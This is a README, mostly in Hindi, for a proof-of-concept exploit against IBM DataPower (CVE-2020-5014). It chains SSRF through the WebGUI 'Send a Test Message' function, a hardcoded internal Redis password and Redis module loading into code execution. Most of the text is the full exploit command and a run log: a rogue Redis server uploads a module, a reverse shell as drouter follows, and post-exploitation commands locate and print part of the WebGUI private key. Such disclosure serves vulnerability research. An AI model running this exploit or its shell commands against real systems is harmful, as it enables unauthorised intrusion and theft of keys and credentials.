datapower-redis-rce-exploit (CVE-2020-5014)

IBM DataPower प्रमाणित Redis RCE एक्सप्लॉइट के लिए एक POC जो "Test Message" फ़ंक्शन का दुरुपयोग करता है।

poc_demo

स्पष्टीकरण

DataPower WebGUI के प्रमाणित सत्र के माध्यम से उपलब्ध DataPower के "Send a Test Message" फ़ंक्शन का उपयोग करके, DataPower के आंतरिक Redis सर्वर के विरुद्ध SSRF हमला करना संभव है। आंतरिक Redis सर्वर पासवर्ड से सुरक्षित है, लेकिन ऐसा प्रतीत होता है कि यह एक हार्डकोडेड पासवर्ड का उपयोग करता है। इसे पहले से मौजूद Redis RCE भेद्यता के साथ जोड़कर, DataPower के अंतर्निहित Linux ऑपरेटिंग सिस्टम के अंदर drouter उपयोगकर्ता के रूप में मनमाना कोड निष्पादित किया जा सकता है।

त्वरित आरंभ

इस रिपॉजिटरी को क्लोन करें
मॉड्यूल संकलित करें:
- cd RedisModulesSDK/dpredisshell/
- make

$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888 Main - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope Main - 2020/10/18 23:34:29 Starting Rogue Redis Server... Main - 2020/10/18 23:34:29 Attempting to Login to Datapower... FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888 FakeRedis - 2020/10/18 23:34:29 Online and Ready! Main - 2020/10/18 23:34:29 Datapower Credentials Valid! Main - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5 Main - 2020/10/18 23:34:29 Exchanging Login token for auth cookie... Main - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+ Main - 2020/10/18 23:34:29 Datapower Login Complete! Main - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Accepting connection... FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK! FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis Main - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection... FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Uploading module... FakeRedis - 2020/10/18 23:34:29 Upload Complete! Main - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis! Main - 2020/10/18 23:34:29 Performing clean up... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected) FakeRedis - 2020/10/18 23:34:29 Connection Closed Main - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:30 Waiting for Reverse Shell... Main - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:30 Accepting connection... Main - 2020/10/18 23:34:30 Got Reverse Shell! Main - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ id uid=1000(drouter) gid=1000(drouter) groups=1000(drouter) ps -ef UID PID PPID C STIME TTY TIME CMD drouter 1 0 6 22:00 pts/0 00:02:15 /opt/ibm/datapower/root/drouter drouter 24 1 0 22:00 pts/0 00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement drouter 27 24 0 22:00 pts/0 00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379 drouter 28 24 0 22:00 pts/0 00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel] drouter 40 1 0 22:00 pts/0 00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0 drouter 61 27 0 22:34 pts/0 00:00:00 [sh] drouter 63 61 0 22:34 pts/0 00:00:00 find / -name webgui-privkey.pem 2>/dev/null /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

datapower-redis-rce-exploit

सबसे लोकप्रिय

उदाहरण

IOCs

फिक्स / पैच

लिंक और धन्यवाद